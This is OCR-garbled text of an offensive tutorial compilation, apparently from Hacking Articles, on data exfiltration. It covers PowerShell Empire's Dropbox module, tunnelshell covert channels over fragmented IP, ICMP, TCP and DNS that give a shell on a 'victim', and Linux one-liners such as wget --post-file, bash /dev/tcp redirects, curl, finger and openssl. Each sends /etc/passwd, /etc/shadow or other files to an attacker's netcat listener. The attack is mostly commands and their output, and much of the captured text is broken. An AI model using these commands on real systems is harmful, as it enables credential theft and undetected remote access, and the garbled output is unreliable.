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Introduction

Data exfiltration occurs when malware and/or a malicious actor carries out an unauthorized data
transfer from a computer. It is also commonly called data extrusion or data exportation. Data
exfiltration is also considered a form of data theft. During the past couple of decades, a number of
data exfiltration efforts severely damaged the consumer confidence, corporate valuation, and
intellectual property of businesses and national security of governments across the world.

Methods of Data Exfiltration

Open Methods:

e HTTP/HTTPS Downloads & Uploads
e FTP

e Email

e Instant Messaging

e P2P filesharing

Concealed Methods:

e SSH

e VPN

e Protocol Tunneling

e Cloud Storage Uploads
e Steganography

e Timing channel

(From Wikipedia)
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Data Exfiltration using PowerShell Empire
Generate Token Via Dropbox API

In order to do that, this tool requires a Dropbox API. To get that, first, create an account on Dropbox.
Then after creating the account, head to developer tools here. A webpage will open similar to the one
shown below. Here we will select the “Dropbox API”. Then in the type of access section, we will choose
“App folder”. Name the app as per choice. Then click on Create App Button to proceed.

1. Choose an API
Dropbox APl <a AS Dropbox Business API
®  For apps that need to access filesin @ ) For apps that need access to Dropbox
Dropbox. Learn more @ Business team info. Learn more

2. Choose the type of access you need

Learn more about access types
®  App folder - Access to a single folder created specifically for your app. C:I

Full Dropbox - Access to all files and folders in a user's Dropbox.

3. Name your app

ignite technologies c:.

This will lead to another webpage as shown below. Here, move on to the O Auth 2 Section, and
Generate access token. This will give the Dropbox API required for this particular practical; now copy
the generated token.

Status Development
Development users Only you
Permission type App folder

App folder name ignite technologies

App key 0lrbs6dd3yh72gh
App secret Show
OAuth 2 Redirect URIs
https:// (http allowed for localhost) Add

Allow implicit grant

Allow

Generated access token

mMYzZ3GNRNEAAAAAA T ...-WUXefcaG-_. .. 07 kFCMzwOc-bOdijl c:l

This access token can be used to access your account (re” - .ngar.... .@gmail.com) via the API. Dg
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Data Exfiltration

Now we are going to use Powershell empire for exfiltration, considering we have already
compromised the victim machine and we are about to complete our mission by copying data from
inside the victim without his knowledge.

As you can observe we have Empire-agent which means | have already spawned shell of victim’s
machine and Empire has post exploit for data exfiltration where we will use the above token.

usemodule exfiltration/exfil_dropbox
set SourceFilePath C:\Users\raj\Desktop\notes.txt

set TargetFilePath /Apps/notes.txt

set ApiKey <API Token>

execute

ults

As you can observe that | have notes.txt inside /my files which means we have successfully transferred
the data from a source location to destination.

0
%

* > ignite technologies > Apps

Files Name +

My files =  notes.xt <:|

Sharing
File requests

Deleted files

Thus, in this way, we have successfully transferred the data from the victim’s machine to our dropbox
and hence this technique is known as dropbox exfiltration.

Welcome to Hacking Articles ¢
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Covert Channel: The Hidden Network
What is the covert channel?

The word covert means “hidden or undetectable” and Channel is “communication mode”, hence a
covert channel denotes an undetectable network of communication. This makes the transmission
virtually undetectable by administrators or users through a secret channel. It’s very essential to know
the difference between encrypted communication and covert communication. In covert
communication, the data stream is garbled and lasting by an unauthorized party. However, encrypted
communications do not hide the fact that there has been a communication by encrypted the data
travelling between both endpoints.

Type of covert channel
e Storage covert Channel: Communicate by modifying a “storage location”, that would allow
the direct or indirect writing of a storage location by one process and the direct or indirect
reading of it by another.
e Timing Covert channels — Perform operations that affect the “real response time observed”
by the receiver.

Note: The well — known Spectre and Meltdown use a system’s page cache as their covert channel for
exfiltrating data.

The specter and Meltdown attacks work by tricking your computer into caching privileged memory and
through miscalculated speculative execution, a lack of privilege checking in out-of-order execution, and
the power of the page cache. Once privileged memory is accessed the processor caches the information
and the processor is able to retrieve it from the cache, regardless of whether its privileged information
or not.

Covert Channel Attack Using Tunnelshell

It is possible to use almost any protocol to make a covert channel. The huge majority of covert channel
research has based on layer 3 (Network) and layer 4 (Transport) protocols such as ICMP, IP and TCP.
Layer 7 (Application) protocols such as HTTP and DNS are also frequently used. This mechanism for
conveying the information without alerting network firewalls and IDSs and moreover undetectable by
netstat.
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What is tunnelshell?

Tunnelshell is a program written in C for Linux users that works with a client-server paradigm. The
server opens a /bin/sh that clients can access through a virtual tunnel. It works over multiple
protocols, including TCP, UDP, ICMP, and RawlIP, will work. Moreover, packets can be fragmented to
evade firewalls and IDS.

Let’s go with practical for more details.

Requirement

e Server (Kali Linux)

e Client (Ubuntul8.04)

e Tool for Covert Channel (Tunnelshell) which you can download from here.
Here, I’'m assuming we already have a victim’s machine session through the c2 server. Now we need
to create a hidden communication channel for data exfiltration, therefore, install tunnelshell on both
endpoints.
Once you download it, then extract the file and compile it as shown below:

tar xvfz tunnelshell 2.3.tgz

Similarly, repeat the same at the other endpoint (victim’s machine) and after completion, execute the
following command in the terminal to open communication channel for the server (Attacker).

sudo ./tunneld
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By default, it sends fragment packet, which reassembles at the destination to evade from firewall and
IDS.

aarti@ubuntu:~/Downloads/tunnelshellS make
-o tunnel.o -c tunnel.c -DVERSION=Y\"2.3\"
-o tunneld.o -c tunneld.c -DVERSION=\"2.3\"
-o common_frag.o -c common_frag.c
-0 common_tcp.o -c common_tcp.c
-0 common_udp.o -c common_udp.c
-0 common_icmp.o -c common_icmp.

-0 common_1ip.o -c common_ip.c
-0 COMMON.O -C COMMON.C
tunnel tunnel.o common_tcp.o common_frag.o common udp.o common_icmp.o com
.0 Common.o
tunneld tunneld.o common_tcp.o common_frag.o common udp.o common_icmp.o cC
ommon_ip.o common.o
aarti@ubuntu:~/Downloads/tunnelshell$ sudo ./tunneld

Now to connect with tunnelshell we need to execute the following command on the server (Attacker’s
machine) which will establish a covert channel for data exfiltration.

Syntax: ./tunnel -i <session id (0-65535)> -d <delay in sending packets> -s <packet size> -t <tunnel type>
-0 <protocol> -p <port>-m <ICMP query> -a <ppp interface> <Victim’s IP>

./tunnel -t frag 10.10.10.2

frag: It uses IPv4 fragmented packets to encapsulate data. When some routers and firewalls (like Cisco
routers and default Linux installation) receives fragmented packets without headers for the fourth
layer, they permit pass it even if they have a rule that denies it. As you can observe that it is successfully
connected to 10.10.10.2 and we are to access the shell of the victim’s machine.

Stunnel -t frag 10.10.10.2

As | had said, if you will check the network statics using netstat then you will not observe any process
ID for tunnelshell.
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From the given below image, you can observe that with the help of ps command | had checked in
process for tunnelshell and then try to check its process id through netstat.

ps |grep .tunneld

netstat -ano

s |grep .tunneld

5 -aux | grep .tunneld
.0 8.1 5 3
.0 8.0
0 6.0

Active Internet connectio

Proto Recv-Q Send-Q Local . 1 ign Address St: Timer
B 127.09.1. .0.0.0:* N off (0.00/0/0)

B 6.0.0. .0.0.0:

8
0.
0.

B

i of f (0.00/0/0)
i of f (0.00/0/0)
¥ 3 of f (0.00/0/0)
= off (0.00/6/0)
off (0.00/0/0)
off (0.00/0/0)
off (0.00/0/0)
of f (0.00/0/0)
of f (0.00/0/0)
off (0.00/0/0)
off (0.00/0/0)
off (0.00/0/0)
off (0.00/0/0)
off (0.00/0/0)
ESTABLISHED off (0.00/0/0)
off (0.00/0/0)
off (0.00/0/0)
off (0.00/0/0)
off (0.00/0/0)
of f (0.00/0/0)
of f (0.00/0/0)

0O OOOOoooooooDoDDRERE @
CoOCooOOOo
-(3)—?(3(3(3(3(39(3-

CR RN o e B e o s s )

% % Sos & s 8 s
CcCoocooooo@
cooEEE @@

e

(oo goooooolooolololololololololo]

State Path
LISTENING @/tmp/.ICE-unix /3078
frunfuser /1000 /systemnd/notify
STR LISTENING frunfuser /1000 /systemd/private
SEQPACKET LISTENING 5 frunfudevfcontrol
STREAM LISTENING 94 frunfuser /10008/keyring/control
STREAM LISTENING 2 Jrunfuser [1000/keyring/pkcs1l

Let’s take a look of network traffic generated between 10.10.10.1 (Attacker’s IP) and10. 10.10.2
(Victim’s IP) using Wireshark. The network flow looks generic between both endpoints, but if it
monitors properly, then a network administrator could sniff the data packet. As you can observe that
Wireshark has captured the covert traffic and sniff the data that was travelling between two endpoint
devices.

ip.addr == 10.10.10.2

No. Time Source Destination Protocol Leng Info

10 12.3104297601 10.10.10.1 10.10.10.2 IPv4 37 Fragmented IP protocol (proto=TCP &, off=16, ID=03e8)
11 12.312233237 160.10.18.2 10.10.10.1 IPv4 73 Fragmented IP protocol (proto=TCP &, off=16, ID=03e8)
20 65.448918631 10.10.10.1 10.10.10.2 IPv4 38 Fragmented IP protocol (proto=TCP &, off=16, ID=03e8)

.450162487 = il 68 Fragmented protocol (proto=TCP 6 ID=63e8)
26 74.986479476 10.10.10.1 10.10.108.2 IPv4 41 Fragmented IP protocol (proto=TCP &, off=16, ID=03e8)
27 75.036196472 10.10.10.2 10.10.10.1 IPv4 60 Fragmented IP protocol (proto=TCP &, off=16, ID=03e8)
28 89.613144560 10.160.108.1 10.10.10.2 IPv4 40 Fragmented IP protocol (proto=TCP &, off=16, ID=03e8)
29 92.604591811 10.10.10.1 10.10.10.2 IPv4 37 Fragmented IP protocol (proto=TCP &, off=16, ID=03e8)
30 92.606062134 10.10.10.2 10.10.10.1 IPv4 60 Fragmented IP protocol (proto=TCP &, off=16, ID=03e8)

Frame 21: 68 bytes on wire (544 bits), 68 bytes captured (544 bits) on interface @

Ethernet II, Src: Vmware e4:c@:ab (00:0c:29:ed4:cB:ab), Dst: Vmware 29:b8:bf (00:0c:29:29:b8:bf)
Internet Protocol Version 4, Src: 16.10.10.2, Dst: 10.18.10.1

Data (34 bytes)

0000 08 6c 29 29 bs bf ENEEENFENTECCEEL 08 00 45 00 ))- - €
00 36 ©3 8 40 02 40 06 Oe Cc2 Oa Oa Ba 02 @a 6a 6--@@
0a 01 2f 68 6f 6d 65 2f 61 61 72 74 69 2f 44 6f /home/ aarti/Do
77 6e 6c 6F 61 64 73 2f 74 75 6e 6e 65 6c 73 68 wnloads/ tunnelsh
65 6c 6c Ba ell
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Covert ICMP Channel

As we know Ping is the use of ICMP communication that use icmp echo request and icmp echo reply
query to establish a connection between two hosts, therefore, execute the below command:

sudo ./tun -t icmp -m echo-reply, e

aarti@ubuntu: . S ./tunneld -t icmp -m echo-reply,echo

Now to connect with tunnelshell we need to execute the following command on the server (Attacker’s
machine) which will establish a covert channel for data exfiltration.

./tunnel -t icmp -m echo-reply,echo 10.10.10.2

As you can observe that it is successfully connected to 10.10.10.2 and the attacker is able to access
the shell of the victim’s machine.

:~/Downloads/tunnelshell_2.3#% ./tunnel -t icmp -m echo

inecting to

Again, if you will capture the traffic through Wireshark then you will notice the ICMP echo request and
reply packet is being travelled between both endpoints. And if you will try to analysis these packets
then you will be able to see what kind of payload is travelling as ICMP data.

[ip.addr ==10.10.10.2

o. Time Source Destination Protocol Leng Info
4 0.002362077 10.10.10.1 10.10.10.2 ICMP 94 Echo (ping) reply id=0x03e8, seq=10000/4135, CL1=64
54.059112234 10.160.10.1 10.10.10.2 ICMP 59 Echo (ping) request id=0x03e8, seq=18000/4135, ttl=64
6 4.059418084 10.10.10.2 16.10.18.1 ICMP 60 Echo (ping) reply id=0x03e8, seq=10808/4135, ttl=64

. 7 4.060227928 18.10.108.2 18.10.18.1 ICMP 89 Echo (ping) request 1d=0x03e8, seq=18000/4135, ttl=64
8 4.060251817 .18.10.1 .18.2 id=0x03e8, seq=10808/4135, =
13 12.054168101 1@.10.19.1 10.18.10.2 ICMP 62 Echo (ping) request 1d=0xB3e8, seq=18000/4135, ttl=64
14 12.054467673 10.10.10.2 10.10.10.1 ICMP 62 Echo (ping) reply id=0x03e8, seq-10000/4135, ttl=64
15 12.056€13150 10.10.10.2 10.10.10.1 ICMP 60 Echo (ping) request 1d-8x03e8, seq-10000/4135, ttl=-64

I 16 12.056869351 10.10.10.1 10.10.10.2 ICMP 60 Echo (ping) reply id=0x03e8, seq=10000/4135, ttl=64

Frame 8: 89 bytes on wire (712 bits), 89 bytes captured (712 bits) on interface ©

Ethernet II, Src: Vmware_29:b8:bf (00:0c:29:29:b8:bf), Dst: Vmware_ed:c@:ab (00:0c:29:e4:c@:ab)
Internet Protocol Version 4, Src: 10.10.10.1, Dst: 10.10.18.2

Internet Control Message Protocol

1000 @0 Oc 29 e4 c0 ab FENCENNFEE 29 b8 bf 08 00 45 00 BN - )] E
©0 4b 9d ab 00 00 40 @1 b4 O Ga Pa Pa ©1 Ba Ga K
@a 2 00 00 bb 3b 83 e8 27 10 ff 2f 68 6f 6d 65 ;- ' -/home

2f 61 61 72 74 69 2f 44 6f 77 6e 6c 6f 61 64 73 faarti/D ownloads
2f 74 75 6e 6e 65 6c 73 68 65 6c 6c Ga OO GO 0O /tunnels hell

an_no ey
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Covert HTTP Channel

It establishes a virtual TCP connection without using three-way handshakes. It doesn’t bind any port,
SO you can use a port already use it by another process, therefore execute the below command:

sudo ./tunneld -t tcp -p 86,2000

aarti@ubuntu:~/Downloads/tunnelshell$ sudo ./ftunneld -t tcp -p 86,2600

Now to connect with tunnelshell we need to execute the following command on the server
(Attacker’s machine) which will establish a covert channel for data exfiltration.

./tunnel -t tcp -p 80,2000 10.10.10.2

As you can observe that it is successfully connected to 10.10.10.2 and again attacker is able to access
the shell of the victim’s machine.

on other side, if you consider the network traffic then you will notice a tcp communication establish
without three-way-handshake between source and destination.

| |ip.addr==10.10,10.2 [X] '] Expression.. +

-

No. Time Source Destination Protocol Leng Info
2 8.141204130 10.10.10.1 10.10.168.2 TCP 61 80 — 2000 [<None>] Se
3 8.141466524 10.18.16.2 16.10.18.1 60 2000 — 88 [RST, ACK]
4 8.142794033 v : v - v 2800 [<None=] Se
10.10.1 z s

[RST, A

+ Frame 8: 88 bytes on wire (704 bits), 88 bytes captured (784 bits) on interface=
v Ethernet II, Src: Vmware_ed4:cB:ab (00:8c:29:e4:c@:ab), Dst: Vmware_29:b8:bf (00

v+ Internet Protocol Version 4, Src: 10.18.10.2, Dst: 10.10.10.1 =
4 ¥
RO Oc 29 29 b8 bf 00 Bc 29 e4 cO ab 08 0O 45 0O 1) )] E
GE10 00 4a 03 =8 40 00 40 EE Oe b0 BPa Da Da 02 Qa Oa J--@ @I
Pa 01 00 50 07 dO 00 0@ 0O OO0 PO OO PO QO 50 OO P P
P2 00 b2z 71 00 00 2f 68 6T 6d 65 2f 61 61 72 74 q--/h omefaart
69 2T 44 6T 77 6e 6c 6f 61 64 73 2T 74 75 Ge 6Ge i/Downlo ads/tunn

65 6c 73 68 65 6c 6c Oa elshell
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Covert DNS Channel

To establish DNS covert channel, we need to run UDP tunnel mode on both endpoint machines.
Therefore, execute the following command on the victim’s machine:

sudo ./tunneld -t udp -p 53,2000

aarti@ubuntu:~/Downlc 'tunnelshell$ sudo ./tunneld -t udp -p 53,2080

Similarly, execute following on your (Attacker) machine to connect with a tunnel.

./tunnel -t udp -p 53,2000 10.10.10.2

As you can observe here the DNS malformed packet contains the data travelling between both
endpoint machine.

[A]ip.addr ==10.10.10.2

Mo. Time Source Destlnatlon Protocol Leng Info

ICMP
DNS
ICMP

» Frame 7: 76 bytes on wire (6088 bits), 76 bytes captured (688 bits) on interface ©

» Ethernet II, Src: Vmware_ed:c@:ab (00:0c:29:ed4:c@:ab), Dst: Vmware_29:b8:bf (00:0c:29:29:b8:bf)
» Internet Protocol Version 4, Src: 10.10.10.2, Dst: 10.10.10.1

» User Datagram Protocol, Src Port: 53, Dst Port: 2600

1

Nnmain Name Svatem (auerwv)

00 Bc 29 29 b8 bf PO Gc 29 ed4 c® ab 08 0O 45 0O 1) )] E
00 3e B3 e8 40 00 40 11 0Oe bl Ga Pa Ga B2 Ga Pa > @@

Pa 01 @0 35 07 do PO 2a 04 64 2f 68 6f 6d 65 2f 5 * .d/home/
61 61 72 74 69 2f 44 6f 77 6e 6¢c 6T 61 64 73 2f aarti/Do wnloads/
74 75 6e 6e 65 6c 73 68 65 6c 6c Pa tunnelsh ell

Conclusion: Covert channel does not send encrypted data packet while data exfiltration, therefore, it
can easily sniff, and network admin can easily conduct data loss and risk management.
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Data Exfiltration using Linux Binaries
Introduction to Linux Binaries

Binaries can be described as files that contain source codes compiled together. These binary files are
also called as executables files, as they can be executed in the system. Here, we will be using file
uploading binaries to perform data exfiltration. This article is divided into two part;

e Data exfiltration using default Linux Binaries

e Data exfiltration using apt-installed Linux binaries
Now, switch on the Linux operating systems i.e., Kali Linux and Ubuntu. We will simultaneously see
one of the two systems posing as an attacker and the other as a victim.

Data exfiltration using default Linux Binaries
/Cancel

We can use /cancel binary to sneakily use file upload and send the file to the attacker machine over
TCP connection.

Victim Machine

Here the Ubuntu system is the victim machine. To upload the file from the victim system to the
attacker system by entering the file to upload, the victim IP, and the remote port for file transfer. To
perform data exfiltration, you can type

cancel -u "$(cat /etc/passwd)" -h 192.168.0.147:1234

root@ubuntu:~# cancel -u "S(cat fetc/passwd)" -h 192.168.8.147:1234
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Attacker Machine

Here the Kali Linux is used as the attacker machine that uses port 1234 for listening using Netcat, you

can use
nc -lvp 1234

Here you see that the contents of the file /etc/passwd with all the users are listed.

~# nc -lvp 1234
listening on [any] o
192.168.0.196: inverse host lookup failed: Unknown host
connect to [192.168.0.147] from (UNKNOWN) [192.168.8.196] 35080
ST fadmin/ HTTP/1.1

Content-Ty
Date: Mon, g . I GMT

4.@-42-generic; 64) IPF

l-languageen-uskE
printer-u

daemon: 11:dae :/usr/sbin: fusr/sbin/nologin
bin i i in/nologin

Sys: v ev /sbin/nologin

Sync i

Jr-rbln-nﬂl
‘sbin/nolo

backup: :backup:/va
list:x:3 lql]lng L1;T
irc

lﬂh:Ethemd Netwa:k anqgﬂmﬂnt,,,“
:systemd Resol
184 :systemd Time

186:111: TPM soft
unidd:x:1@7:114 :: /run/
tcpdump: x: 16 115z /
avahi-autoipd: 1@9:115.Auah1 autclp daemon, ,, :/var/lib/avahi-autci

nshmux =¥ *11A:4F nshmuy dasmnn * fuardlihSushmin 1Isrfchin/nol ngir
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/wget

It is a computer program that usually retrieves content from web servers. We can use /wget binary
to sneakily use file upload and send the file to the attacker machine over HTTP POST.

Victim Machine

Here we use Ubuntu on our victim machine and send a local file with an HTTP POST request. To
implement this, you can use the command

wget --post-file=/etc/passwd 192.168.0.147

root@ubuntu:~# wget --post-file=fetc/passwd 192.168.0.147
--2020-08-31 03:47:55-- http://192.168.6.147/

onnecting to 192.168.0.147:80... connected.

TTP request sent, awaiting response... *C

root@ubuntu:~# wget --post-file=fetc/shadow 192.168.0.147
--2020-08-31 03:48:26-- http://192.168.6.147/

onnecting to 192.168.0.147:80... connected.

TTP request sent, awaiting response...

Attacker Machine

Here we are using Kali Linux as the attacker machine. To get the file, Netcat is used as a listener, and

type this command,
nc -lvp 80

Here you see that the contents of the file /etc/passwd with all the users are listed on the attacker
machine.

~# nc -lvp 8@
listening on [an ves
192.168.0.196: inv host lookup failed: Unknown host
connect to [192.168.0.147] from (UNKNOWN) [192.168.0.196] 49104
/ HTTP/1.1
Agent: Wget/1.20.3 (linux-gnu)
pt: */%
pt-Encoding: identity
Host: ol A . 147
Connection cp-Alive
Content-Typs ipplication/x-www-form-urlencoded
Content-Length: 1416

999997 1

5:@:99999:7 :::
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/whois

We can use /whois binary to sneakily use file upload and send the file to the attacker machine over
TCP connection.

Victim Machine

Here the Ubuntu system is the victim machine. To upload the file from the victim system to the
attacker system by entering the file to upload, the victim IP, and the remote port for file transfer. To
perform data exfiltration, you can type

whois -h 192.168.0.147 -p 43

root@ubuntu:~# whois -h 192.168.0.147 -p 43 ‘cat fetc/passwd’

Attacker Machine

Here the Kali Linux is used as the attacker machine that uses port 43 for listening using Netcat, you

nc -lvp 43

can use

Here you see that the contents of the file /etc/passwd with all the users are listed.

Resol

\ _apt
gin 1i-autoipd
:dnsmasqg,,,: M1
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/bash

It is a Unix shell and command language We can use /bash binary to sneakily use file upload and send
the file to the attacker machine over HTTP POST.

Victim Machine
Here we have made use of the Ubuntu system as the victim machine. To upload the file from the victim

system to the attacker system by entering the file to upload, the victim IP, and the remote port for file
transfer. To perform data exfiltration, you can type

bash -c 'echo -e "POST / HTTP/0.9\n\n$(</etc/passwd)" >
/dev/tcp/192.168.0.147/1234°

root@ubuntu:~# bash -c 'echo -e "POST / HTTP/0.9\n\nS(</etc/passwd)" = [dev/tcp/192.168.0.147/1234"'
root@ubuntu:~#

Attacker Machine

Here the Kali Linux is used as the attacker machine that uses port 1234 for listening using Netcat, you

can use
nc -lvp 1234

Here you see that the contents of the file /etc/passwd with all the users are listed.

# nc -lwvp
listening on [any] 1 or
192.168.0.196: inverse host lookup failed: Unknown host
connect to [192.168.0.147] from (UNKNOWN)
POST / HTTP/0.9

root:x:@:@:root:/root:/bin/bash
daemon 1:1:daemon r/sbin:/usr/sbin/nologin
bin bin i r/sbin/nologin
/ r/sbin/nologin
:/bin/sync
'games: /usr/sbin/nologin
an:/usr/sbin/nologin
:/usr/sbin/nologin
'usr/sbin/nologin
L/news : /usr/sbin/nologin
f /usr/sbin/nologin

T :/bin:/ iologin
TOXY ' i nologin
b —data: : : Jusr/sbin/nologin
' 'usr/sbin/nologin
ir/list:/usr/sbin/nologin
bin/nologin
em (admin)
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/OpenSSL

OpenSSL is a robust, highly -featured toolkit for the TLS and SSL protocols. We can use fopenssl binary
to use for file upload and send the file to the attacker machine over TCP connection.

Victim Machine

Here we have made use of the Ubuntu system as the victim machine. To upload the file from the victim
system to the attacker system by entering the file to upload, the victim IP, and the remote port for file
transfer. To perform data exfiltration, you can type

openssl s_client -quiet -connect 192.168.0.147:1234 < "/etc/passwd"

-quiet -connect 192.168.0.147:1234 < "/etc/passwd"

, 0 = Internet Widgits Pty Ltd
verify error:nu ISE signed certificate
verify return
depth=06 C = AU, Some-State, 0 = Internet Widgits Pty Ltd
verify return:1

Attacker Machine

Here we are using, Kali Linux as the attacker machine. In order to download the file on the attacker
machine, you can type;

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days
365 -nodes

openssl s_server -quiet -key key.pem -cert cert.pem -port 1234 > passwd

To check the contents of the file, you can type;
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# openssl re ; e ¢ -nodes
Generating a RSA priv
R s

1 be a de lue,
field will be left blank.

(full name) [Some-State]:

ernet Widgits Pty Ltd]:
[1:

name) []:

g
nobody :x: nobod
systemd-ne ¥ 182:

/busybox

It is a software suite that provides various Linux utilities in a single executable file. We can use
/busybox binary to sneakily use file upload and send the file to the attacker machine over HTTP.

Victim Machine

Here the Ubuntu system is the victim machine. To upload the file from the victim system to the
attacker system serve files in the local folder by running an HTTP server, you can type

busybox httpd -f -p 8080 -h

root@ubuntu:~-# busybox httpd -f -p 8080 -h .
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Attacker Machine

machine, you can type;

wget http://192.168.0.196:8080/data. txt

To read the contents of the file, type

cat data.txt

:~# wget http://
—2820-88-31 1 H

Connecting to 192.

HTTP request sent, awaiting response ...
Length: 28 [text/ p]qln]

Saving to: ‘data

data.txt

2820-88-31 11:25:15 (7.10 MB/s)

Welcome T-::

/nc

Netcat is a command-line tool for reading, writing, redirecting, and encrypting data across a network.
We can use /nc binary to sneakily use file upload and send the file to the attacker machine over the
Tcp connection.

Victim Machine

Here we are using, Kali Linux as the victim machine. To upload the file from the victim system to the
attacker system serve files in the local folder by running a TCP, you can type;

nc -lvp 5555 < jeeni.txt
to read the contents of the file, type
cat jeeni.txt

root@ubuntu:~# nc 192.168.0.147
J“.C

root@ubuntu:~# cat j
lWelcome to Hacking A

txt

eeni.
rti 1e5
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Data exfiltration using apt-installed Linux binaries

/curl

It is a command-line tool that is used for transferring data using various network protocols. We can
use [curl binary to sneakily use file upload and send the file to the attacker machine over the HTTP
POST connection. So, the first step would be to install curl binary using apt.

Victim Machine

Here the Ubuntu system is the victim machine. To upload the file from the victim system to the
attacker system serve files in the local folder by running an HTTP Post request, you can type;

curl -X POST -d @data.txt 192.168.0.147

root@ubuntu:~# curl -X POST -d @data.txt 192.168.08.147

Attacker Machine

Here we are using, Kali Linux as the attacker machine. In order to download the file on the attacker

machine, you can type;
nc -lvp 80 > data.txt

To read the file, type

cat data.txt

# nc -lvp 80 > data.
listening on [any] Te
192.168.0.196: inverse host lookup failed: Unknown host
connect to [192.168.08.147] from (UNKNOWN) [192.168.0.196] 37490

~c
:~# cat data.txt

POST / HTTP/1.1

Host: 192.168.0.147

User-Agent: curl/7

Accept: */%

Content-Length: 27

Content-Type: application/x-wwmw-form-urlencoded

Welcome to Hacking Articles ~# ]
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/[finger

It is a program you can use to find information about computer users. We can use /finger binary to
sneakily use file upload and send the file to the attacker machine over the TCP connection. So, the
first step would be to install finger binary using apt.

Victim Machine

Here the Ubuntu system is the victim machine. To upload the file from the victim system to the
attacker system serve files in the local folder by running the TCP request, you can type;

finger "$(cat /etc/passwd)@192.168.0.147"

root@ubuntu:~# finger "S(cat fetc/passwd)@192.168.0.147"

Attacker Machine

Here we are using, Kali Linux as the attacker machine. In order to download the file on the attacker

machine, you can type
nc -lvp 79

You can see the user accounts from the /etc/passwd.

# nc -lvp 79
listening on [any] 79
192.168.0.196: inverse host lookup failed: Unknown host
conn o [192. .147] from (UNKNOWN) [192.168.0.196] 48360
root - /bin/bash
daemo 1:1:daemon:/usr/sbin:/usr/sbin/nologin
bim:x bin:/bin:/usr/sbin/nologin
SYS!: ys:/dev:/usr/sbin/nologin
SYNC - :sync:/bin: /bin/sync
games

r/spool/news: /usr/sbin/nologin
var/spool/uucp:fusr/sbin/nologin
ologin
Jusr/sbin/nologin
ackup:/va ackups:/usr/sbin/nologin
ailing List Manager r/list:/usr/sbin/nologin
/var/run/ircd:
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/irb

It is a tool to execute interactively ruby expressions read from stdin. We can use [irb binary to sneakily
use file upload and send the file to the attacker machine over the HTTP. So, the first step would be to
install irb binary using apt.

Victim Machine
Here the Ubuntu system is the victim machine. To upload the file from the victim system to the
attacker system serve files in the local folder by running the HTTP server on port 8888, you can type;

irb

require 'webrick'; WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot =>
Dir.pwd).start;

root@ubuntu:~# irb
irb(main):001:0> require A 28 > ) > .pwd).start;
[2020-09-01 @ 21] INFO WEBrick 1.6.0
9- 21] INFO ruby 2.7 (2019-12-25) [x86_64-1linux-gnu]
g H 21] INFO WEBrick::HTTPServer#start: p 523 port=8888
192.168.0.147 - - [01/Sep/2020:02:50:47 PDT] "GET / HTTP/1.1" 200 1918

Attacker Machine

Here we are using, Kali Linux as the attacker machine. In order to download the file on the attacker

machine, in the browser you can type
192.168.0.196:8888

Index of / x +

<« & @ 192.168.0.196

Index of /

Name Last modified
Parent Directory 2020/08/31 04:07
.bash history 2020/08/31 08:54
.hashrc 2019/12/05 06:39
.cache/ 2020/04/23 00:38
Jocal/ 2020/08/30 10:38
.profile 2019/12/05 06:39
.ssh/ 2020/08/31 04:15
data.txt 2020/08/31 08:24
file to save 2020/08/31 08:34
WEBrick/1.6.0 (Ruby/2.7.0/2019-12-25)

at 192 1A8.0). 19A:88R88
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/ksh

KornSHell is a shell and programming language that executes commands read from a terminal or a
file We can use /ksh binary to sneakily use file upload and send the file to the attacker machine over
the HTTP. So, the first step would be to install ksh binary using apt.

Victim Machine

Here the Ubuntu system is the victim machine. To upload the file from the victim system to the
attacker system serve files in the local folder by running the HTTP server on port 1234, you can type;

ksh -c 'cat /etc/passwd > /dev/tcp/192.168.0.147/1234"

root@ubuntu:~# ksh -c 'cat [etc/passwd > [dev/tcp/192.168.0.147/1234"'

root@ubuntu:~#

Attacker Machine

Here we are using, Kali Linux as the attacker machine. In order to download the file on the attacker
machine, in the browser you can type
nc -lvp 1234
# nc -lvp 1:
11;ten1ng on [any] 1
192 . 168 .196: =] ho,T lookup failed: Unknown host
connect T-:: [1 L1477 from (UNKENOWN) [192.168.8.196] 53
§ in/bash
sbin: /usr/sbin/nologin

bin/nologin
"f;bln ‘nologin

‘'sbin/nologin
b1r| ‘nologi

Jb in/ n-:ﬂ_-::g in

4:backup:,

a 11 lrl'E‘ L1_1T

ystemd-ne E nnt,,,:f"

T_-=rnd—:-=r-:ﬂ e:x:1@1: 5 -:ernd F.'-:95-:: r :-T_ernd
emd-times z emd T1rn-= (
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/PHP

It is a scripting language that is especially suited to web development. We can use /PHP binary to
sneakily use file upload and send the file to the attacker machine over the HTTP. So, the first step
would be to install the php binary using apt.

Victim Machine

Here the Ubuntu system is the victim machine. To upload the file from the victim system to the
attacker system serve files in the local folder by running the HTTP server on port 8080, you can type;

php -S 0.0.0.0:8080

root@ubuntu:~# php -S 0.0.0.0:8080
[Tue 5S¢ : :09:04 2020] PHP 7.4.3 Development Server (http://0.0

[Tue Se ; :09:08 2020] 192.168.0.147:33070 Accepted
[Tue Se ' :09:08 2020] 192.168.0.147:33070 [404]:

[Tue Se ] :09:08 2020] 192.168.0.147:33070 Closing
[Tue Se - :09:08 2020] 192.168.0.147:33072 Accepted

Attacker Machine

Here we are using, Kali Linux as the attacker machine. In order to download the file on the attacker
machine, in the browser you can type

wget 192.168.0.196:8080/data.txt

B/data.txt
9.196:8080/data. txt
Connecting to 192.
ent, a

‘plain]

data.txt

2020-09-01 06:09:35 (6.70 MBSs) -

/Ruby

It is a high-level general processing language. We can use /ruby binary to sneakily use file upload and
send the file to the attacker machine over the HTTP server. So, the first step would be to install the
ruby binary using apt.

‘GNiTe www.hackingarticles.in Page |30

Technologies



Victim Machine

Here the Ubuntu system is the victim machine. To upload the file from the victim system to the
attacker system serve files in the local folder by running the HTTP server on port 1234, you can type;

ruby -run -e httpd . -p 1234

root@ubuntu:~# ruby -run -e httpd . -p 1234

[2020-09-01 03:15:38] INFO WEBrick 1.6.0

[2020-09-81 03:15:38] INFO ruby 2.7.0 (2019-12-25) [xB6_64-linux-gnu]
[2020-09-01 03:15:38] INFO WEBrick::HTTPServer#start: pid=14329 port=1234
192.168.0.147 - - [01/Sep/2020:03:15:49 PDT] "GET / HTTP/1.1" 208 2852

Attacker Machine

Here we are using, Kali Linux as the attacker machine. In order to download the file on the attacker
machine, in the browser you can type

192.168.0.196:1234

x

() 192.168.0.196

Index of /

Name Last modified

Parent Directory 2020/08/31 04:07
bash history 2020/08/31 08:54
.Jbashrc 2019/12/05 06:39
.cache/ 2020/04/23 00:38
drb_history 2020/09/01 02:54
Joca 2020/08/30 10:38
profile 2019/12/05 06:39
